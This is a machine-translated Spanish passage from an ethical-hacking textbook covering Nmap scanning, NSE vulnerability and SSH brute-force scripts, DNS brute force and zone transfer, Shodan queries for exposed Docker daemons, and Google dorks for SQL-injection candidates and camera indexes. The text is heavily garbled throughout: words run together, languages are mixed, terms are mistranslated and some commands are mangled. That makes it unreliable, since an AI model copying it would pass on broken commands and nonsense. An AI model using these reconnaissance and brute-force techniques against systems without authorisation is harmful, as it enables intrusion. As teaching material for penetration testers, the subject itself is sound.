Nmapdone: 1 dirección IP (1 host up) escaneada en 119,25 segundos
Conceptos básicos del uso de escaneos de
Nmap Analicemos los conceptos básicos de Nmap. Si ejecuta Nmap sin ninguna opción, la
herramienta usará tres funcionalidades significativas de forma predeterminada:
Establecerá la velocidad en T3.
Explorará los puertos TCP1000 superiores.
Suponiendo que esté enraizado en su Kalibox, establecerá el escaneo SYNTCP de manera
predeterminada.
En otras palabras, todo esto sucede en el backend, lo que significa que no
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Es necesario especificar la velocidad T3, porque está allí de manera
predeterminada. Es lo mismo que para los números de puerto (no es
necesario agregar ÿÿtop ÿports1000 ) o el escaneo TCPSYNS (no es
necesario agregar la opción ÿsS) .
Para la parte de ajuste, recuerde siempre elegir la velocidad con
prudencia. Por ejemplo, no utilice una velocidad rápida como T5 en una
dirección IP de producción; en su lugar, quédese con la predeterminada
(T3).
#AquickerTCPscan
$nmap–-top-ports100-T5[IPAddress/Rango]
Si está apuntando a un puerto específico, use la opción ÿp , seguida del número de
puerto, el rango o la lista:
#ParabuscarelpuertoHTTP80enlared $nmap-p80[DirecciónIP/
Rango]
Por último, si desea incluir todos los puertos, use ÿpÿ (también puede usar
ÿp 1ÿ65535 ) para escanear cada puerto individual (escanear todos los
números de puerto revelará cualquier aplicación oculta).
root@kali:~#nmap-p--T510.0.0.1 Iniciando
Nmap7.80(https://nmap.org)en2020-10-0509:35EDT NmapscanreportforUSGPRO(10.0.0.1)
Hostsup (0.00097 latencia).
No se muestra: 65531 puertos cerrados
PORTSTATESERVICE
53/tcpopendomain
22/tcpopenssh
80/
tcpopenhttp 443/tcpopenhttps
MACAddress:B4:FB:E4:2F:04:3D(UbiquitiNetworks)
Nmapdone: 1 dirección IP (1 host up) escaneada en 9.91 segundos
ServiciosEnumeración
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Es hora de ver cómo ejecutar un escaneo de versión de servicio usando el mejor escáner:
Nmap . La opción para realizar un análisis de versiones en Nmap es ÿsV .
manera de memorizar las opciones de comando en Nmap para aplicar un significado a cada
letra. Por ejemplo, la s significa escaneo y la V significa versión. Fácil,
¿verdad? Por eso se llama versioncan . Tome nota de que la aversión puede
llevará más tiempo que un escaneo de puertos normal, ya que intentará identificar el tipo de servicio.
En el siguiente ejemplo, escanearemos el mismo host que usamos antes, pero
esta vez agregaremos la opción ÿsV ( consulte la columna de versión):
root@kali:~#nmap-p--T5-sV10.0.0.1
A partir de Nmap7.80(https://nmap.org) a las 2020-10-0509:36EDT
NmapscanreportforUSGPRO(10.0.0.1)
Hostsup (0.00097 latencia).
No se muestra: 65531 puertos cerrados
VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO
22/tcpopensh2.0)
OpenSSH6.6.1p1Debian4~bpo70+1(protocolo
53/tcpopendomaindnsmasq2.78-23-g9e09429
80/tcpopenhttplighthttpd
443/tcpopenssl/httpUbiquitiEdgerouterhttpd
Dirección MAC: B4: FB: E4: 2F: 04: 3D (Ubiquiti Networks)
ServiceInfo: SO: Linux; Dispositivo: enrutador; CPE: cpe: / o:
linux: linux_kernel
Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/
submit/.
Nmapdone: 1 dirección IP (1 host up) escaneada en 25,88 segundos
Este es un buen consejo para hacer que las versiones sean aún más rápidas. ¿Listo? Ya que estamos listos
escaneado para los puertos abiertos previamente, no necesitamos escanear para todos los puertos
nuevamente usando ÿpÿ . En su lugar, solo podemos especificar los números de puerto que
identificados en los puertos pueden previamente (comparar el tiempo de velocidad con el anterior
versiones escaneadas; ¡es la mitad del tiempo!):
root@kali:~#nmap-p22,53,80,443-T5-sV10.0.0.1
A partir de Nmap7.80(https://nmap.org) a las 2020-10-0509:39EDT
NmapscanreportforUSGPRO(10.0.0.1)
Hostsup (0.00092 latencia).
VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO
22/tcpopensh2.0)
OpenSSH6.6.1p1Debian4~bpo70+1(protocolo
53/tcpopendomaindnsmasq2.78-23-g9e09429
80/tcpopenhttplighthttpd
Canal de Telegram : @IRFaraExam
Machine Translated by Google
443/tcpopenssl/httpUbiquitiEdgerouterhttpd
Dirección MAC: B4: FB: E4: 2F: 04: 3D (Ubiquiti Networks)
ServiceInfo: SO: Linux; Dispositivo: enrutador; CPE: cpe: / o: linux: linux_kernel
Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/submit/.
Nmapdone: 1 dirección IP (1 host up) escaneada en 13,63 segundos
Finalmente, puede cambiar las versiones de agresividad. En otras palabras, qué tan profundo
¿desea que Nmap escanee la versión de cada servicio? Cuanto mayor sea la intensidad,
más tiempo tardará en escanear el host de destino. La Tabla 3.4 resume
opciones de intensidad de versión:
Table3.4 NmapVersionIntensity
OPCIÓN NMAPO
DESCRIPCIÓN
ÿÿversionÿintensity[0ÿ9] 9 es la intensidad más alta y el valor predeterminado es 7.
ÿÿversiónÿlight
Es equivalente a ÿÿversionÿintensity2
.
ÿÿversiónÿtodas
Esequivalente a ÿÿversionÿintensity9
.
PROPINA
Siempre puede usar el comando nmap-h para enumerar todas las opciones dentro
Nmapaen caso de que olvides alguno de ellos.Te llevará añosde práctica
parasabérmelosdecorazón.
En el siguiente ejemplo, utilizaremos la opción ÿÿversionÿlight para que sea
aún más rápido. Tenga en cuenta que pudimos hacerlo un segundo más rápido que antes
sin sacrificar la información de la columna de versión (tal vez un segundo no sea
gran problema para un host, pero para un rango de red, hará una gran diferencia):
root@kali:~#nmap-p22,53,80,443-T5-sV--version-light10.0.0.1
A partir de Nmap7.80(https://nmap.org) a las 2020-10-0509:41EDT
NmapscanreportforUSGPRO(10.0.0.1)
Hostsup (0.00099 latencia).
VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO
22/tcpopensh2.0)
OpenSSH6.6.1p1Debian4~bpo70+1(protocolo
53/tcpopendomaindnsmasq2.78-23-g9e09429
Canal de Telegram : @IRFaraExam
Machine Translated by Google
80/tcpopenhttplighthttpd
443/tcpopenssl/httpUbiquitiEdgerouterhttpd
Dirección MAC: B4: FB: E4: 2F: 04: 3D (Ubiquiti Networks)
ServiceInfo: SO: Linux; Dispositivo: enrutador; CPE: cpe: / o:
linux: linux_kernel
Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/
submit/.
Nmapdone: 1 dirección IP (1 host up) escaneada en 12,60 segundos
Sistema operativoToma de huellas dactilares
Imagine el siguiente escenario: su gerente o su cliente viene a usted y
dice: "Queremos saber si alguien en nuestra red está usando Windows XP".
sonría y diga: “Por supuesto, sé cómo hacerlo como un profesional”.
aprenderá a identificar el sistema operativo de un host en una LAN utilizando Nmap.
Para terminar el trabajo, deberá agregar la opción ÿO para detectar el
sistema del host de destino. Nmap intentará identificar el
inspeccionando los paquetes recibidos del host. A continuación, Nmap intentará
haga coincidir la huella dactilar con una lista guardada. Tenga en cuenta que en el siguiente ejemplo,
agregandolasversionescanparaayudaraidentificarelsistemaoperativo:
raíz @ kali: ~ # nmap-sV-O-T410.0.0.187
A partir de Nmap7.80(https://nmap.org) a las 2020-10-0509:45EDT
NmapscanreportforWin7Lab.ksec.local(10.0.0.187)
Hostsup (0.00035 latencia).
No se muestra: 990 puertos cerrados
VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO
135/tcpopenmsrpcMicrosoftWindowsRPC
139 / tcpopennetbios-ssnMicrosoftWindowsnetbios-ssn
445/tcpopenmicrosoft-dsMicrosoftWindows7-10microsoft-ds(grupo de trabajo:GRUPO DE
TRABAJO)
5357/tcpopenhttpMicrosoftHTTPAPIhttpd2.0(SSDP/UPnP)
49152/tcpopenmsrpcMicrosoftWindowsRPC
49153/tcpopenmsrpcMicrosoftWindowsRPC
49154/tcpopenmsrpcMicrosoftWindowsRPC
49155/tcpopenmsrpcMicrosoftWindowsRPC
49156/tcpopenmsrpcMicrosoftWindowsRPC
49157/tcpopenmsrpcMicrosoftWindowsRPC
Dirección MAC: 00: 0C: 29: 1C: 0E: EE (VMware)
Tipo de dispositivo: propósito general
Ejecutando:MicrosoftWindows7|2008|8.1
OSCPE: cpe: / o: microsoft: windows_7 :: - cpe: /
o: microsoft: windows_7 :: sp1
Canal de Telegram : @IRFaraExam
Machine Translated by Google
cpe: / o: microsoft: windows_server_2008 :: sp1cpe: / o:
microsoft: windows_server_2008: r2cpe: / o: microsoft: windows_8cpe: / o: microsoft:
windows_8.1 Detalles del sistema operativo: MicrosoftWindows7SP0-SP1,
WindowsServer2008SP8, WindowsSer8 o WindowsServer. NetworkDistance: 1hop
ServiceInfo: Host: WIN7LAB; SO: Windows; CPE: cpe: / o: microsoft: windows
Detección de SO y servicio realizada. Informe cualquier resultado incorrecto en https://
nmap.org/submit/.
Nmapdone: 1 dirección IP (1 host up) escaneada en 66,00 segundos
Motor de secuencias de comandos de
Nmap El motor de secuencias de comandos de Nmap (NSE) contiene un conjunto de
funcionalidades adicionales (como fuerza bruta, enumeración de DNS, enumeración de HTTP, etc.)
que hacen que Nmap funcione como un jefe. El equipo de Nmap clasificó todas estas funcionalidades
en diferentes grupos, que se muestran aquí:
Autorización
Transmisión
Por defecto
Descubrimiento
DESDE
Explotar
Externo
Fuzzer
Intruso
Malware
A salvo
Versión
Vulnerable
Para obtener la lista de todos estos scripts NSE, solo enumere el contenido del directorio /usr/share/nmap/scripts :
raíz @kali: #ls/usr/share/nmap/scripts/
Canal de Telegram : @IRFaraExam
Machine Translated by Google
acarsd-info.nsenping-
http-hp-ilo-info.nse
brute.nse
dirección-info.nsenrpe-
http-huawei-hg5xx-vuln.nse
enum.nse
afp-brute.nsentpinfo.nse
afp-ls.nsentpmonlist.nse
afp-ruta-vuln.nseomp2brute.nse
afp-serverinfo.nseomp2-enumobjetivos.nse
afp-showmount.nseomroninfo.nse
ajpauth.nseopenlookup-info.nse
ajp-brute.nseopenvasotp-brute.nse
ajp-headers.nsedownload.nse
openwebnet-discovery.nse
ajp-methods.nseoraclebrute.nse
http-icloud-findmyiphone.nse
http-icloud-sendmsg.nse
http-iis-nombre-corto-brute.nse
http-iis-webdav-vuln.nse
http-interna-ip-disclosure.nse
http-joomla-brute.nse
http-jsonp-detección.nse
http-litespeed-código fuente
http-ls.nse
ajp-request.nseoraclebrute-stealth.nse
http-majordomo2-dir-transversal.nse
allseeingeye-info.nseoracle-enumusers.nse
http-malware-host.nse
amqp-info.nseoraclesid-brute.nse
http-mcmp.nse
[…]
Un ejemplo común es la enumeración HTTP, existe un script NSE para este propósito.
Para hacer el trabajo, necesitamos especificar el número de puerto que estamos apuntando primero,
y también agregaremos el escaneo de versiones (que es opcional, pero lo recomiendo) para
obtener información más jugosa:
$nmap-p[número de puerto]-sV–script[NSEscriptname][dirección IP/rango]
root@kali:~#nmap-sV-p80--scripthttp-enum10.0.0.1
A partir de Nmap7.80(https://nmap.org) a las 2020-10-0509:51EDT
NmapscanreportforUSGPRO(10.0.0.1)
Hostsup (0.00082 latencia).
VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO
80/tcpopenhttplighthttpd
Canal de Telegram : @IRFaraExam
Machine Translated by Google
|_http-server-header:Servidor |_httpsredirect:ERROR:Ejecución de script fallida (use-dtodebug)
Dirección MAC: B4: FB: E4: 2F: 04: 3D (Ubiquiti Networks)
Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/
submit/.
Nmapdone: 1 dirección IP (1 host up) escaneada en 7,32 segundos
NSECCategoryScan
Cuando utiliza un análisis de categoría, no especifica los números de
puerto, ya que una categoría apuntará a múltiples números de puerto
. Antes de que nosotros
( todos los puertos TCP abiertos).
root@kali:~#nmap-sV-sC10.0.0.1 A partir de
Nmap7.80(https://nmap.org)en2020-10-0509:52EDT NmapscanreportforUSGPRO(10.0.0.1)
Hostsup (0.00059 latencia).
No se muestra: 996 puertos cerrados
PORTSTATESERVICEVERSION 22/
tcpopensshOpenSSH6.6.1p1Debian4~bpo70+1(protocol2.0) |ssh-hostkey:|
102440:a1:21:7f:53:fe:71:41:bb:54:5d:83:1d :44:dd:65(DSA) |
2048fa:08:a3:16:7c:3a:48:e3:7e:d6:ea:2c:6a:5d:15:93(RSA) |25636:d5:77
:3f:f8:6f:a0:36:07:30:7a:43:1f:4d:ac:b5(ECDSA) |_25688:5a:3c:60:df:0a:dd:b2:2b:4e:
a8:af:19:d7:f5:9e(ED25519) 53/tcpopendomaindnsmasq2.78-23-g9e09429 |dns-nsid:|
_bind.version:dnsmasq-2.78-23-g9e09429 80/tcpopenhttplighttpd |_http-server-header:
Servidor |_http-title:No siguió la redirección a https://usgpro/ |_httpsredirect:ERROR:Ejecución de script fallida (use-dtodebug) 443/tcpopenssl/
httpUbiquitiEdgerouterhttpd |http-cookie-flags:|/:|PHPSESSID:|_httponlyflagnotset |_httpserver- encabezado: servidor
|_http-title:UniFiSecurityGateway
Canal de Telegram : @IRFaraExam
Machine Translated by Google
|sslcert:Subject:commonName=UbiquitiRouterUI/organizationName=UbiquitiInc./
stateOrProvinceName=Nueva York/countryName=US
|SubjectAlternativeName:DNS:UbiquitiRouterUI
|No válido antes:2020-03-11T01:02:25
|_Notvalidafter:2022-06-13T01:02:25
|_ssl-date:TLSaleatoriedadnorepresentatiempo
Dirección MAC: B4: FB: E4: 2F: 04: 3D (Ubiquiti Networks)
ServiceInfo: SO: Linux; Dispositivo: enrutador; CPE: cpe: / o:
linux: linux_kernel
Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/
submit/.
Nmapdone: 1 dirección IP (1 host up) escaneada en 24,20 segundos
Además, puede usar el modificador ÿA para ejecutar los scripts predeterminados, pero tenga cuidado
que esta opción usará lo siguiente:
Escaneo de versiones
SynTCPscan
PredeterminadoNSEscriptscan
Escanearsistemasoperativos
ruta de seguimiento de red
$nmap-A[dirección IP/rango]
Otra forma de apuntar a varios scripts en la misma categoría es usar el comodín
* .
Por ejemplo, para apuntar a todos los scripts relacionados con las vulnerabilidades de Samba,
necesita usar el siguiente comando. (Tenga en cuenta que este comando tomará mucho
de tiempo para finalizar. En cualquier momento durante la ejecución, puede presionar el botón Intro
para obtener el valor del porcentaje de progreso.)
root@kali:~#nmap-sV-p135,445--scriptsmb-vuln*10.0.0.187
A partir de Nmap7.80(https://nmap.org) a las 2020-10-0509:54EDT
NmapscanreportforWin7Lab.ksec.local(10.0.0.187)
Hostsup (0.00027 latencia).
VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO
135/tcpopenmsrpcMicrosoftWindowsRPC
445/tcpopenmicrosoft-dsMicrosoftWindows7-10microsoft-ds(grupo de trabajo:GRUPO DE
TRABAJO)
Dirección MAC: 00: 0C: 29: 1C: 0E: EE (VMware)
Información de servicio: Host: WIN7LAB; SO: Windows; CPE:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
cpe:/o:microsoft:windows
Resultados de la secuencia de comandos del host:
|_smb-vuln-ms10-054: falso
|_smb-vuln-ms10-061:NT_STATUS_ACCESS_DENIED
|smb-vuln-ms17-010:
|VULNERABLES:
|Vulnerabilidad de ejecución remota de código en servidores Microsoft SMBv1 (ms17-010)
|Estado:VULNERABLE
|ID:CVE:CVE-2017-0143
| Factor de riesgo: ALTO
| Existe una vulnerabilidad crítica de ejecución remota de código en Microsoft SMBv1
servidores (ms17-010).
|||Fecha de divulgación:2017-03-14
|Referencias:
|
https://blogs.technet.microsoft.com/msrc/2017/05/12/cliente
orientación-para-wannacrypt-ataques/
|https://technet.microsoft.com/en-us/library/security/ms17010.aspx
|_https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/
submit/.
Nmapdone: 1 dirección IP (1 host up) escaneada en 12,60 segundos
NSEArgumentos
Algunos scripts de NSE requerirán que ingrese algunos argumentos adicionales.
ejemplo es el ataque de fuerza bruta. Digamos que quiere usar fuerza bruta en el SSH
servicio en el host de destino, por lo que deberá agregar el; ÿÿscript ÿargs opción para
identifique los archivos para los nombres de usuario/contraseñas:
$nmap-p22-sV–scriptssh-brute–script-argsuserdb=usuarios.txt,passdb=contraseñas.txt
ElsecretoparaconocertodasestasopcionesparausarelNmapoficialNSE
referencia:
https://nmap.org/nsedoc/
Enumeración DNS
Canal de Telegram : @IRFaraExam
Machine Translated by Google
¿Por qué está esta sección en el capítulo de exploración de red? La enumeración de DNS
puede permitirnos identificar la naturaleza del host de destino que queremos explorar. Además, la
enumeración de DNS utilizará los motores de búsqueda públicos para buscar nombres de dominio
ocultos que no conocíamos al comienzo de nuestro compromiso. el objetivo es probablemente un
host de enrutador ( ethicalhackingblog.com) es mi dominio; solo estoy dando un ejemplo aquí).
DNSFuerza bruta
Hay muchas herramientas que buscarán nombres de dominio DNS utilizando la metodología
de fuerza bruta. Para empezar, tratemos de comprender cómo funciona una fuerza bruta DNS
mediante el desarrollo de nuestro propio Bashscript. Primero, guardemos una lista de subdominios
potenciales que podrían existir:
www
VPN
pinchar
fuego
desarrollador
ftp
puesta en escena
correo
PROPINA
En la práctica, utilizo los siguientes archivos de diccionario de subdominios de la
lista en GitHub:
https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS
Ahora que hemos definido el archivo de diccionario de nuestro subdominio, es hora de
desarrollar el Bashscript:
#!/bin/bash
#Thisscriptwillbruteforcedomainnames
#Prompttousertoenterthedomainname read-p"Ingrese el nombre
de dominio que desea usar fuerza bruta:"
Canal de Telegram : @IRFaraExam
Machine Translated by Google
NOMBRE DE DOMINIO
functioncheck_domain(){
#Ejecutarelcomandohostyextraerlosresultadossubdominiosactivos=$
(host$SUB_DOMAIN|grep'hasaddress') #ifnotemptyresults if[[-n$results]] then
printf"Encontrado$SUB_DOMAIN\n"
ser
}
#leerelarchivodediccionarioparasubin$
(catsub-d.txt) do
SUB_DOMAIN=$sub.$DOMAIN_NAME
check_domain
hecho
Vamos a probar mi blog sitio web:
root@kali:/opt#./dns-brute.sh Ingrese el
nombre de dominio que desea usar fuerza bruta:ethicalhackingblog.com
Foundwww.ethicalhackingblog.com Foundftp.ethicalhackingblog.com
Transferencia de zona DNS
La copia de los registros del servidor maestro DNS en otro servidor esclavo DNS se denomina
transferencia DNS. Podemos aprovechar este proceso para obtener la lista de todos los subdominios
solicitando el DNS maestro (referido a un servidor NS, por ejemplo ns1.ethicalhackingblog.com ) para
proporcionarnos la lista del nombre de dominio de destino.
Esta consulta rara vez funciona, pero si tiene éxito, recibirá un regalo que contiene todos los
subdominios y sus direcciones IP asociadas.
Primero, obtengamos la lista de servidores ns para un nombre de dominio aleatorio:
$host-tns[nombre de dominio]|cut-d""-f4 root@kali:/opt#hosttnsgoogle.com|cut-d""-f4 ns4.google.com. ns3.google.com. ns1.google.com.
ns2.google.com.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Ahora que conocemos la lista de servidores DNS, podemos pedirle al servidor los registros DNS.
Intentemos preguntarle al servidor ns1 usando el comando host :
$host-l[nombre de dominio][nombre de dominio del servidor ns]
root@kali:/opt#host-lgoogle.comns1.google.com Uso del servidor
de dominio: Nombre: ns1.google.com Dirección: 216.239.32.10#53
Alias:
;Transferencia fallida.
Ahora que sabe cómo funcionan los scripts de Bash, puede crear sus propios scripts que extraerán la
lista de servidores ns y luego se conectarán a cada uno, y luego podrá solicitar la lista de registros DNS
utilizando la técnica de transferencia de zona especificada anteriormente. Ahora comprende el uso y el
poder de los scripts de Bash.
DNSSubdominiosHerramientas
Existen muchas herramientas que analizan en busca de subdominios. Lo que importa es comprender
lo que hacen, por lo que debe asegurarse de que la persona elegida hará lo siguiente:
1. Subdominios de fuerza bruta rápidos basados en un archivo de diccionario de buena calidad.
2.Verifique la transferencia de DNS.
3. Automatice la búsqueda de un subdominio en motores de búsqueda de Internet como Google.
Intenso
Fierce es una excelente herramienta para buscar subdominios. Fierce ejecutará múltiples pruebas
de DNS, incluidas transferencias de zona y fuerza bruta también. Es rápido y contiene un buen
archivo de diccionario:
$fierce-dns[nombre de dominio]
root@kali:/opt#fierce-dnsethicalhackingblog.com
DNSServersforethicalhackingblog.com: ns66.domaincontrol.com
ns65.domaincontrol.com
Probando transferencia de zona primero...
Testingns66.domaincontrol.com
Requesttimedoutortransfernotallowed.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Testingns65.domaincontrol.com
Requesttimedoutortransfernotallowed.
Transferencia de zona sin éxito (valió la pena intentarlo)
Está bien, probando la buena manera tradicional... fuerza bruta
Comprobando DNS comodín...
No. Bien.
Ahora realizando 2280 pruebas...
45.40.155.145ftp.ethicalhackingblog.com
45.40.155.145www.ethicalhackingblog.com
Subredes encontradas (es posible que desee probar aquí usando nma o escaneo de unicornio):
45.40.155.0-255: 2 nombres de host encontrados.
Hecho con Fiercescan: http://ha.ckers.org/fierce/ Found2entries.
Que tenga un lindo día.
No confíe en una sola herramienta para hacer el trabajo; cada herramienta tiene sus pros y sus contras.
También se deben considerar otras buenas herramientas de DNS en la búsqueda de subdominios:
#sublist3risonGithub
$pythonsublist3r.py[nombre de dominio]
#subbruteisonGithub $pythonsubbrute.py[nombre
de dominio]
Resumen
Acaba de aprender el primer paso en la escalera de las pruebas de
penetración. Idealmente, disfrutó de este capítulo y aprendió algo nuevo.
¡La diversión acaba de comenzar, amigos!
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 4
InternetInformaciónRecopilación
Neverunderestimatetheimportanceoftheinformationgatheringphasein
penetrationtesting.IadmitthatIusedtounderestimateitmyself, butoverthe años,
Ihaverealizedhowvitalthisphasecanbe.OnceIwasworkingona
projectthatwasnotyetdeployedintotheproductionenvironment, hablando sopractically,
therewasnoinformationyetontheinternet, ¿verdad? Outofcuriosity, me
enteredthetestenvironmentURLonGoogle, anditturnedoutthatoneofthe
developersaccidentallycopiedtheinternalnetworkURLstoGitHub.That'sjust
oneexampleofthehorrorstoriesthatIhavewitnessedduringmycareer.
Hablando de historias de terror, una de ellas sucedió con una empresa. El desarrollador
empujó a GitHub las credenciales del host de la nube de AWS, y un hacker se aprovechó de
esto y se conectó de forma remota al servidor. Por supuesto, puede adivinar el resto.
El enfoque de este capítulo es la metodología principal de la fase de prueba de
penetración. No debe ejecutar los escáneres a ciegas sin saber lo que está buscando. Uno
de los pasos que ya discutimos en el capítulo anterior es la búsqueda de subdominios.
Esto es lo que aprenderá en este capítulo:
Utilicemotoresdebúsquedadeinternetparaobtenerresultados
Él está en Sodod
UseGoogleconsultas
Vea cómo mostrar información sobre dominios usando la base de datos de Whois
Vea cómo funcionan las herramientas esenciales para la huella pasiva en Kali, incluidas
El Cosechador, Dmitry y Maltego
Huella pasiva y reconocimiento
Vamos a definir una minología del metro sobre este tema. Recopilar información de
forma pasiva utilizando la información pública de Internet tiene muchos nombres técnicos.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Algunas personas lo llaman reconocimiento, y otros lo llaman huella pasiva o recopilación de
información pasiva. A veces escuchará el nombre OSINT, que significa inteligencia de código
abierto. Use cualquier palabra técnica que prefiera, pero asegúrese de no confundirse con todos
estos términos, ya que todos significan lo mismo: recopilar datos sobre su objetivo utilizando
fuentes disponibles públicamente.
Una de las tareas más críticas en la huella pasiva es saber lo que está buscando. Hay
muchas herramientas que hacen el trabajo, pero debe comprender lo que hacen en segundo
plano. Por lo tanto, estos son los elementos que debe buscar mientras ejecuta su tarea de
recopilación de información:
subdominios de la empresa
sitios web
Direcciones IP públicas (incluida la de la nube AWS/Azure)
Direcciones IP internas filtradas
Registros DNS públicos (registros MXmail, etc.)
Credenciales filtradas (principalmente en GitHuborPastebin)
Infracciones anteriores
Cambio comercial significativo (p. ej., adquisiciones)
Información financiera empresarial (esto puede revelar un socio secreto)
Números de teléfono de empresa (para ingeniería social)
Información pública para empleados (para ingeniería social)
Presencia de una empresa en las redes sociales (p. ej., LinkedIn)
Motores de búsqueda de Internet
Los motores de búsqueda públicos son su entrada en la búsqueda de debilidades vinculadas a su
objetivo. En la siguiente sección, verá en detalle cómo aprovechar el motor de búsqueda de Google
para obtener toda la información necesaria (fugas).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
tuarsenalkit:
Motor de búsqueda de Google: google.com
Shodanonlinescanner: shodan.io
DuckDuckGosearchengine: duckduckgo.com
Shodan
Shodan es una excelente herramienta en línea que escaneará Internet por usted. Hay
opciones ilimitadas que puede usar en este monstruo. Este es un ejemplo rápido: supongamos
que desea encontrar motores Docker que estén visibles en Internet y que escuchen en el puerto
2375 (el número de puerto predeterminado para un demonio Docker).
En el ejemplo que se muestra en la Figura 4.1, utilicé la siguiente consulta:
puerto:2375producto:"Docker"
Figura 4.1 Shodan
Este no es el único criterio de consulta que puede utilizar en el sitio de Shodan. La Tabla 4.1
cubre los más populares.
Tabla 4.1 Los criterios de consulta más comunes utilizados en el sitio de Shodan
FILTRO DE BÚSQUEDA DESCRIPCIÓN
Puerto
Número de puerto
EJEMPLO
Puerto: 80
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Puerto
Número de puerto
Producto
Nombre del producto
Org
Nombre de la Organización
País
Nombre del país de dos letras País: CA
Nombre
Nombre de la ciudad
Ciudad:Montreal
de host de la ciudad
Nombre de dominio
Nombre de host: "nombre de dominio.com"
Servidor
Nombre del servidor
Servidor: "Linux"
http.título
título de la página web
http.title:“Panel de control”
Puerto: 80
Producto: "Apache"
Org: "Nombre de la empresa de destino".
Puede consultar algunos ejemplos prácticos en www.shodan.io/explore .
Consultas de Google
Google es un potente buscador que te permitirá encontrar la información
que está buscando (por ejemplo, credenciales filtradas sobre su cliente/empleador) si
usted sabe cómo usarlo correctamente. Google le da la posibilidad de consultar su
base de datos con criterios de filtro avanzados. Algunas personas lo llaman el hacking de Google
base de datos (GHDB), mientras que otros llaman Googledorks.
Comencemos con el primer sitio: consulta que siempre uso al comienzo de mi
compromiso, como se muestra en la Figura 4.2. Esta consulta específica le permitirá buscar
forallthewebpagesandsitesassociatedwithyourtargetdomainname(this
la consulta también revelará subdominios).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 4.2 GoogleDorkSiteFilter
Actualmente, todo se publica públicamente en GitHub. Aquí hay una consulta interesante
que puede usar en Google para buscar información interesante publicada en GitHub. La
figura 4.3 muestra la seguridad de los resultados de la consulta extraída al buscar en
GitHub.com utilizando las palabras clave GusKhawaja :
sitio: github.com [palabras clave]
Figura 4.3 GoogleDorkSiteFilterwithDescription
Este es solo un ejemplo, pero le sorprenderá la cantidad de veces que descubrirá
información filtrada en GitHub durante un compromiso. Los desarrolladores tienden
a usar GitHub sin comprender las consecuencias, y usted, como profesional en este
campo, puede aprovechar esta falla. La tabla 4.2 enumera algunas otras consultas
interesantes que puede utilizar en Google.
Table4.2 GoogleDorksCommonQueries
CONSULTA DESCRIPCIÓN EJEMPLO
inurl:
[criterios]
BuscarcandidatosSQLicenunsitioweb:
BuscartextodentrodeunaURL
sitio:[dominio]inurl:?id=
Buscartextodentro BuscarCCTV:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
título:
[criterios]
eltítulodeunapáginaweb
Buscar tipos de archivos por
tipo de
archivo:
usando sus extensiones
[extensión de archivo]
intitle:"índice de" "cctv"
Busque archivos conectados a un dominio
que pertenecen a su objetivo:
Sitio:[dominio]tipo de archivo:"xls|xlsx|doc|docx|
ppt|pptx|pdf"
Puede usar las consultas de GHDB en Exploitÿdb para visualizar las últimas mareas.
muestra en la Figura 4.4. fuera de www.exploit-db.com/google-hacking-database
Compruébelo como
,(Exploitÿ
se
dpertenecealequipo de Offensive Security, los fundadores de KaliLinux.)
Figura 4.4 Base de datos de Google Hacking
Recopilación de información usando KaliLinux Hay muchas
herramientas preinstaladas en KaliLinux que puede usar para la recopilación pasiva de
información (Figura 4.5).
Muchas herramientas tienen funcionalidades comunes, algunas de las cuales son
completamente gratuitas (p. ej., Dmitry), mientras que otras tienen acceso limitado a
funciones a menos que pague una suscripción anual (p. ej., Maltego). En las próximas
secciones, aprenderá sobre las aplicaciones típicas que puede usar para el escaneo pasivo.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 4.5 KaliMenu : recopilación de información
Base de datos Whois
Cada entidad (una empresa o una sola persona) que compra un nombre de dominio debe
ingresar su información personal antes del proceso de registro. La mayor parte de esta
información se publicará públicamente en la base de datos de Whois . ). Para usar la
debilidad de la base de datos Whois, puede usar el comando Whois en su Kali Linux.
$whois[dominio]
Aquí hay una muestra del resultado de la consulta whois (la siguiente información
es ficticia):
root@kali:~#whois[nombre-de-dominio.com]
Nombre de dominio:
acme.com ID de dominio de registro: 2425408_DOMAIN_COM-VRSN
Canal de Telegram : @IRFaraExam
Machine Translated by Google
RegistradorWHOISServer:WHOIS.test.COM
URL de registro: WWW.test.COM
Fecha de actualización:2020-03-20T07:43:10.00Z
Fecha de creación:1991-04-17T04:00:00.00Z
RegistradorRegistrationExpirationDate:2021-04-18T04:00:00.00Z
Registrador: Ecorp, INC.
RegistradorIANAID:48
DomainStatus:clientTransferProhibited
https://www.icann.org/epp#clientTransferProhibited
Nombre del registrante: JohnDoe
Organización del Registrante:EcorpInc
Registrante Calle: 1234 ConeyIsland
RegistranteCiudad:Brooklyn
Estado/provincia del registrante: NY
RegistrantPostalCode: 888999
País del registrante: EE. UU.
RegistrantPhone:RegistrantPhoneExt:RegistrantFax:RegistrantEmail:https://tieredaccess.com/contact/435
44cc-bab5-cda7d58313c4
AdminNombre:Sr.Robot
Organización administrativa: ECorpInc
AdminStreet:AdminStreet:AdminCity:AdminState/Province:AdminPostalCode:AdminCountry:AdminPhone:A
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Servidor de nombres: NS1.ECORP.COM
Servidor de nombres: NS2.ECORP.COM
DNSSEC: sin firmar
En resumen, esto es lo que Whois revelará como información pública:
